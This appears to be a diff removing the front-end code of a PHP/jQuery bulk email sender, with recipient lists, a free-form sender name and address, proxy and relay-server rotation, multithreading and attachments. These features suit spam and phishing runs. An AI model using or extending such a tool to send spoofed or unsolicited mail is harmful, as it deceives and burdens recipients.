- to :email,
- fromname:ReplaceEnum($("#fromname").val(), false),
- frommail:ReplaceEnum($("#frommail").val(), false),
- replymail:ReplaceEnum($("#replymail").val(), false),
- tema :ReplaceEnum($("#tema").val(), false),
- type :$("#type").val(),
- captcha_code:$("input[name=captcha_code]").val(),
- text :ReplaceEnum($("#text").val()),
- enumer :(toDoSize-toDo.length)
- };
- //1.6.5 (16.09.2013) прокси
- if($("#use_proxy_server").is(":checked")) params['PROXY']=$("#proxy_server_uri").val();
- if(attachedFiles.length!=0) params['files']=JSON.stringify(attachedFiles);
- if(additional.length==0)
- $(".additional").each(function(){
- additional.push(ReplaceEnum($(this).val()));
- });
- else
- $(".additional").each(function(index, value){
- if(index<additional.length) return;
- additional.push(ReplaceEnum($(this).val()));
- });
- for(i in additional) {
- params["additional["+i+"]"]=additional[i];
- }
- if(outServers.active) params["outserver"]=outServers.getServer();
- $.post('<?php print $_SERVER['PHP_SELF'];?>?send', params, function(data){
- if(data=="CAPTCHA ERROR") {
- $("#console").html("<?php tr('badcaptcha');?>");
- $("#console").css("background-color","Tomato");
- return;
- } else if(data=="OUT OF LIMIT") {
- $("#console").html("<?php tr('sendlimit');?>");
- $("#console").css("background-color","Tomato");
- return;
- }
- $("#console").html(data);
- $("#console").css("background-color","YellowGreen");
- var email=data.split(" ");
- AddDone(email[2]);
- DrawDone();
- SetProgressBar((toDoSize-toDo.length)/(toDoSize/100),(toDoSize-toDo.length)+"/"+toDoSize);
- if(timeoutNum==0)
- SendMail();
- else
- setTimeout(function(){SendMail()},timeoutNum*1000);
- });
- }
- function SetProgressBar(count,text) {
- var psize=parseInt($("#progressbar").css("width"))/100;
- $("#progressbar .bar").css("width",count+"%");
- $("#progressbar .barcounter").text(text);
- }
- function AddDone(item) {
- if(Done.length>maxDoneSize)
- Done.splice(0,1);
- Done.push(item);
- }
- function DrawDone() {
- $("#ext-console").html("");
- var txt="";
- for(i in Done) {
- txt=Done[i]+"<br>"+txt;
- }
- $("#ext-console").html(txt);
- }
- function dThreads(){
- if(threadNum==1) return;
- threadNum--;
- ShowThreads();
- }
- function iThreads(){
- if(threadNum==100) return;
- threadNum++;
- ShowThreads();
- }
- function ShowThreads() {
- $("#THREADS").text(threadNum);
- }
- function ShowUpload() {
- $("#FileUploadDialog").modal("show");
- }
- function HideUpload() {
- $("#FileUploadDialog").modal("hide");
- }
- function HideAttache() {
- $("#univarsalUpload").hide();
- }
- function showUniversalUpload() {
- if($("#univarsalUpload").css("display")=="none") {
- $("#univarsalUpload").children(".modal-body").children("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?upload_universal");
- $("#univarsalUpload").modal("show");
- } else $("#univarsalUpload").modal("hide");
- }
- function UploadClickHandler(object) {
- $(object).parent().parent().children(".modal-body").children("iframe").contents().find("form").submit();
- }
- window.uploadFinishedHandler=function(data) {
- if(data==null) return;
- var file=$.parseJSON(Base64.decode(data));
- attachedFiles.push(file);
- updateFileList();
- $("#univarsalUpload").modal("hide");
- }
- function updateFileList() {
- $("#attachedFiles").html("");
- for(var file in attachedFiles) {
- if(file=='remove') continue;
- $("#attachedFiles").html($("#attachedFiles").html()+(file!=0?"<br>":"")+"<i class='icon-file'></i> "+attachedFiles[file]['name']+" <button class='btn' onclick='removeFile("+file+");return false'><?php tr('delete',false);?></button>");
- }
- }
- function removeFile(id) {
- delete attachedFiles[id];
- updateFileList();
- }
- function TogleLoadSave() {
- if($("#LoadSaveDialog").css("display")=="none") {
- $("#LoadSaveDialog").find("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?loadsave");
- $("#LoadSaveDialog").modal("show");
- } else {
- $("#LoadSaveDialog").modal("hide");
- }
- }
- function upload_finished(data) {
- $("#to").val(data.replace(new RegExp(" ",'g'),"\n"));
- $("#FileUploadDialog").children("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?upload_form");
- HideUpload();
- }
- function AddField(object) {
- $(object).parent().parent().after('<br><div class="input-prepend"><span class="add-on">[ADD'+AddNum+']</span></div> <input type="text" name="additional'+AddNum+'" id="additional'+AddNum+'" class="input-xlarge txtinput additional" placeholder="<?php tr('addfield2',false);?> '+AddNum+'"> <div class="input-append"><span class="add-on"><span class="addfield" onclick="AddField(this)">+</span></span>');
- $(object).parent().parent().remove();
- AddNum++;
- }
- function SaveData() {
- $("#LoadSaveDialog").find("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?savedata").load(function(){
- $("#LoadSaveDialog").find("iframe").unbind("load");
- var data="[FROM-NAME]"+$("#fromname").val()+"\n"+"[FROM-EMAIL]"+$("#frommail").val()+"\n"+"[THEME]"+$("#tema").val()+"\n"+"[TYPE]"+$("#type").val()+"\n";
- $(".additional").each(function(index, value){
- data+="[ADD"+index+"]"+$(value).val()+"\n";
- });
- if(attachedFiles.length!=0) data+='[FILES]'+JSON.stringify(attachedFiles)+"\n";
- data+="[TEXT]"+$("#text").val().replaceAll("&","&");
- $("textarea",$(this).contents()).val(data);
- $("form",$(this).contents()).submit();
- });
- }
- function loadsave(data) {
- var content=data.split("[TEXT]");
- $("#text").val(content[1].replaceAll("&","&"));
- content=content[0].split("\n");
- for(var i in content) {
- if(content[i].indexOf("[FROM-NAME]")!=-1) {
- content[i]=content[i].replace("[FROM-NAME]","");
- $("#fromname").val(content[i]);
- } else if(content[i].indexOf("[FROM-EMAIL]")!=-1) {
- content[i]=content[i].replace("[FROM-EMAIL]","");
- $("#frommail").val(content[i]);
- } else if(content[i].indexOf("[THEME]")!=-1) {
- content[i]=content[i].replace("[THEME]","");
- $("#tema").val(content[i]);
- } else if(content[i].indexOf("[TYPE]")!=-1) {
- content[i]=content[i].replace("[TYPE]","");
- $("#type [value='"+content[i]+"']").attr("selected", "selected");
- } else if(content[i].indexOf("[FILES]")!=-1) {
- content[i]=content[i].replace("[FILES]","");
- attachedFiles=$.parseJSON(content[i]);
- updateFileList();
- } else if(content[i].indexOf("[ADD")!=-1) {
- var result=/\[ADD(\d+)\]/.exec(content[i]);
- if(AddNum<=result[1]) {
- AddField($(".addfield:last"));
- }
- content[i]=content[i].replace(result[0],"");
- $("#additional"+result[1]).val(content[i]);
- }
- }
- TogleLoadSave();
- }
- $(document).ready(function(){
- $("#prime, .prime-button").click(function(){
- $(".section-screen").hide();
- $("#prime-screen").show();
- });
- $("#help").click(function(){
- $(".section-screen").hide();
- $("#help-screen").show();
- });
- $("#settings").click(function(){
- $(".section-screen").hide();
- $("#settings-screen").show();
- });
- $(".btn-checkbox").click(function() {
- if($(this).hasClass("btn-success")) {
- $($(this).attr("data-toggle")).prop("checked",false);
- $(this).removeClass("btn-success").addClass("btn-danger").children("i").removeClass("icon-ok").addClass("icon-remove");
- } else {
- $($(this).attr("data-toggle")).prop("checked",true);
- $(this).removeClass("btn-danger").addClass("btn-success").children("i").removeClass("icon-remove").addClass("icon-ok");
- }
- });
- $("#maxDoneSize").change(function() {
- maxDoneSize=$(this).val();
- });
- alexusRange.create($("#TIMEOUT_RANGE"));
- alexusRange.change($("#TIMEOUT_RANGE"),function(range) {
- isetTimeout(alexusRange.get($(range)));
- $("#TIMEOUT").val(timeoutNum);
- });
- $("#TIMEOUT").keyup(function() {
- isetTimeout($(this).val());
- alexusRange.set($("#TIMEOUT_RANGE"),timeoutNum);
- });
- alexusRange.set($("#TIMEOUT_RANGE"),timeoutNum);
- $("[rel=tooltip]").tooltip();
- ShowThreads();
- });
- function isetTimeout(val) {
- var newTimeout=parseInt(val);
- if(newTimeout<0)
- timeoutNum=0;
- else if(newTimeout>14400)
- timeoutNum=14400;
- else
- timeoutNum=newTimeout;
- }
- function MakeBold() {
- wrapText("text","<b>","</b>");
- }
- function MakeItalic() {
- wrapText("text","<i>","</i>");
- }
- function MakeUnderline() {
- wrapText("text","<u>","</u>");
- }
- function ReplaceEnum(data) {
- return data;
- //Этот функционал перенесен в php часть
- }
- function MakeReverse() {
- var textArea = $("#text");
- var len = textArea[0].value.length;
- var start = textArea[0].selectionStart;
- var end = textArea[0].selectionEnd;
- var selectedText = textArea[0].value.substring(start, end);
- selectedText=selectedText.split("").reverse().join("");
- var replacement = "<span style=\"direction: rtl;unicode-bidi: bidi-override;\">" + selectedText + "</span>";
- textArea[0].value=textArea[0].value.substring(0, start) + replacement + textArea[0].value.substring(end, len);
- }
- function wrapText(elementID, openTag, closeTag) {
- var textArea = $('#' + elementID);
- var len = textArea[0].value.length;
- var start = textArea[0].selectionStart;
- var end = textArea[0].selectionEnd;
- var selectedText = textArea[0].value.substring(start, end);
- var replacement = openTag + selectedText + closeTag;
- textArea[0].value=textArea[0].value.substring(0, start) + replacement + textArea[0].value.substring(end, len);
- }
- function showPreviewWindow(link) {
- $("#preview-screen").find("iframe").attr("src", link);
- $(".section-screen").hide();
- $("#preview-screen").show();
- $(window).scrollTop(0);
- }
- var alexusRange={
- mouseX:0,
- newX:0,
- rangeCounter:0,
- changeHandlers:{},
- create:function(range) {
- $(range).addClass("alexus-range").addClass("well").append('<div class="crange"></div><div class="range-controller btn"></div>');
- if(alexusRange.rangeCounter==0) $(document).mouseup(alexusRange.mouseupHandler);
- $(range).children(".range-controller").mousedown(alexusRange.mousedownHandler);
- alexusRange.rangeCounter++;
- $(range).attr("ruqid",alexusRange.rangeCounter);
- },
- RangeMouseMoveHandler:function(e) {
- if(alexusRange.mouseX==0) alexusRange.mouseX=e.pageX;
- alexusRange.newX=e.pageX
- if(e.pageX!=alexusRange.mouseX)
- $(".alexus-range .range-controller[state=inmove]").each(function() {
- var max_pos=parseInt($(this).parent().css("width"))-parseInt($(this).css("width"))-2;
- var cur_pos=parseInt($(this).css("margin-left"));
- var delta=alexusRange.mouseX-alexusRange.newX;
- if(cur_pos-delta<0)
- cur_pos=0;
- else if(cur_pos-delta>max_pos)
- cur_pos=max_pos;
- else
- cur_pos-=delta;
- $(this).css("margin-left", cur_pos);
- $(this).parent().children(".crange").css("width",parseInt(cur_pos/(max_pos/100))+"%");
- if(alexusRange.changeHandlers[alexusRange.uniqueId($(this).parent())]!=undefined)
- alexusRange.changeHandlers[alexusRange.uniqueId($(this).parent())]($(this).parent());
- });
- alexusRange.mouseX=alexusRange.newX;
- },
- change:function(range, handler) {
- alexusRange.changeHandlers[alexusRange.uniqueId($(range))]=handler;
- },
- mousedownHandler:function() {
- $(this).attr("state","inmove");
- $(document).mousemove(alexusRange.RangeMouseMoveHandler);
- },
- mouseupHandler:function() {
- $(".alexus-range .range-controller[state=inmove]").attr("state","relax");
- $(document).unbind("mousemove", alexusRange.RangeMouseMoveHandler);
- alexusRange.ResetPos();
- },
- ResetPos:function() {
- alexusRange.mouseX=0;
- },
- get:function(range) {
- var max_pos=parseInt($(range).css("width"))-parseInt($(range).children(".range-controller").css("width"))-2;
- var cur_pos=parseInt($(range).children(".range-controller").css("margin-left"));
- var max_val=parseInt($(range).attr("max"));
- var min_val=parseInt($(range).attr("min"));
- return parseInt((max_val-min_val)*(cur_pos/max_pos))+min_val;
- },
- set:function(range, val) {
- var max_pos=parseInt($(range).css("width"))-parseInt($(range).children(".range-controller").css("width"))-2;
- var cur_pos=parseInt($(range).children(".range-controller").css("margin-left"));
- var max_val=$(range).attr("max");
- var min_val=$(range).attr("min");
- var pos=parseInt(max_pos*(((val-min_val)/(max_val-min_val))));
- if(pos<0)
- pos=0;
- else if(pos>max_pos)
- pos=max_pos;
- $(range).children(".range-controller").css("margin-left",pos);
- $(range).children(".crange").css("width",parseInt(pos/(max_pos/100))+"%");
- },
- uniqueId:function(range) {
- return $(range).attr("ruqid");
- }
- }
- function setLang(code) {
- if(code=='ru') {
- setCookie('translation','ru',{path:"/"});
- document.location.reload();
- } else {
- setCookie('translation',code,{path:"/"});
- document.location="/"+code+"/";
- document.location.reload();
- }
- }
- function setCookie(name, value, props) {
- props = props || {}
- var exp = props.expires
- if (typeof exp == "number" && exp) {
- var d = new Date()
- d.setTime(d.getTime() + exp*1000)
- exp = props.expires = d
- }
- if(exp && exp.toUTCString) { props.expires = exp.toUTCString() }
- value = encodeURIComponent(value)
- var updatedCookie = name + "=" + value
- for(var propName in props){
- updatedCookie += "; " + propName
- var propValue = props[propName]
- if(propValue !== true){ updatedCookie += "=" + propValue }
- }
- document.cookie = updatedCookie
- }
- String.prototype.replaceAll = function(search, replace){
- return this.split(search).join(replace);
- }
- var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(f<e.length){s=this._keyStr.indexOf(e.charAt(f++));o=this._keyStr.indexOf(e.charAt(f++));u=this._keyStr.indexOf(e.charAt(f++));a=this._keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/\r\n/g,"\n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}}
- </script>
- </head>
- <body>
- <div class="modal hide fade" id="univarsalUpload">
- <div class="modal-header">
- <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
- <h3><?php tr('attachfile');?></h3>
- </div>
- <div class="modal-body">
- <iframe src="<?php print $_SERVER['PHP_SELF'];?>?upload_universal" width="260px" height="80px" frameborder="0"></iframe>
- </div>
- <div class="modal-footer">
- <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a>
- <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a>
- </div>
- </div>
- <div class="modal hide fade" id="FileUploadDialog">
- <div class="modal-header">
- <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
- <h3><?php tr('uploadlist');?></h3>
- </div>
- <div class="modal-body">
- <iframe src="<?php print $_SERVER['PHP_SELF'];?>?upload_form" width="260px" height="80px" frameborder="0"></iframe>
- </div>
- <div class="modal-footer">
- <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a>
- <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a>
- </div>
- </div>
- <div class="modal hide fade" id="LoadSaveDialog">
- <div class="modal-header">
- <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
- <h3><?php tr('uploadtemplate');?></h3>
- </div>
- <div class="modal-body">
- <iframe src="<?php print $_SERVER['PHP_SELF'];?>?loadsave" width="260px" height="80px" frameborder="0"></iframe>
- </div>
- <div class="modal-footer">
- <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a>
- <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a>
- </div>
- </div>
- <div class="container">
- <div class="row">
- <div class="span12">
- <div class="navbar">
- <div class="navbar-inner">
- <a class="brand" href="#" id="hello"><?php tr('name');?> <?php echo VERSION;?></a>
- <ul class="nav">
- <li><a href="#prime" id="prime"><img alt="<?php tr('main',false);?>" src="data:image/png;base64,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"></a></li>
- <li><a href="#help" id="help"><img alt="<?php tr('help',false);?>" src="data:image/png;base64,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"></a></li>
- <li><a href="#settings" id="settings"><img alt="<?php tr('settings',false);?>" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAIDklEQVR42rVXCVDPWRyPbMpVRNgJZdFqp23LyJFCkig5KpoYd7FuhnVrtEWbZN1HlFyVSELuK5SEmErrLITI0S3F/+3n88av6bKLnW3mM//fe+/73vf6vO/3pab2DX+TJk3Smzx58tTp06f/RkyZMmXahAkTDNX+z79Ro0bpKt9jxoz5Zfv27XlXr14tJeLj49/PnDkzBEu1P4nUcnV11fjPSnnIxIkTu/n6+h5fs2bNixkzZvTj/NixY4dfuHBBvHv3ThQXF4uSkhIRGBh4Y/DgwTojRoxotHjx4gMBAQHp06ZNc/H09NRW+9Yw44DQY8eOvcaf6tWrV2Lr1q3PEQkLhPuP27dvi+zsbPH8+XOBdREREZGByBjMmjXrz7S0tNLc3Fxx/fr14mXLlsXBCPNvCbnZwYMHc4uKisTTp08l3rx5I/z8/DK8vb3/4jgrK0uCRhw9ejQPfNgJgwWNffLkiaARjx49Ui1cuDDwW8KvjVAmPnjwQGRkZEjgMPHy5UuJzMzM8nnK0IjHjx+LFy9eVJKHQcWIQO8vVdoMOXcZOXKkqZ2dXX03N7cFx48fF/fv3xf37t0Td+/eld8Ev6uCSpVvylMOEUvDeS3JD/yaA+1qVN6rV68648aNC0Heyk6cOJGzYMGCOBgUvmHDBsF8I68SKSkp8pcK6DFTwAhQRllTkJSUJHBmsru7eyC4kATivl2+fPlVJyen5tUMgLddDhw48Jq5I6ny8vLkIfTq5s2bIjk5Wdy6dUuGNT8/X5AbhYWFlcDwp6amSlmC+zlmRAoKCuT6jRs3PiIlU6oZMG/evMPp6emqK1euCNxtce3aNXkAD0pMTJRGkITMNT2ld5TjL0E58oLEY3QSEhLkPiVqijzHq1evfoWUGFTUXxsMjgOTP1y6dEkouHjxogQPomKGWZlTZC5fvlwuGxcXx6snrycVKbIV5YmNGzcWDBo0aEClCAwdOlR/9OjRUUFBQeL8+fPi3LlzEvxmjhmBs2fPls8Rhw4dEkibOHPmjGBh4hplaBSjwV/lHOL06dNi6dKlb5Bu906dOn1XNQu1LC0tG7q4uOwNDg7+ePLkScEbwEOYe36DnBKhoaEqRCwdRgcjlGs9PDwSUCmLFBnWAqaARvNbmUO5LuzXr59DJa39+/c3xuRUKA6eP39+IpRnIRWqw4cPi5iYGJk3esgx5sW2bdtUYHVw3759v1dqv62trbazs7MHGF4QGxsrjhw5IvgLwknFyt6VK1cWY+9+e3v737HHnQ6rOTg4eIaEhOST/QrJGKqoqCgZYnrCX1RFaRA63x1cWf0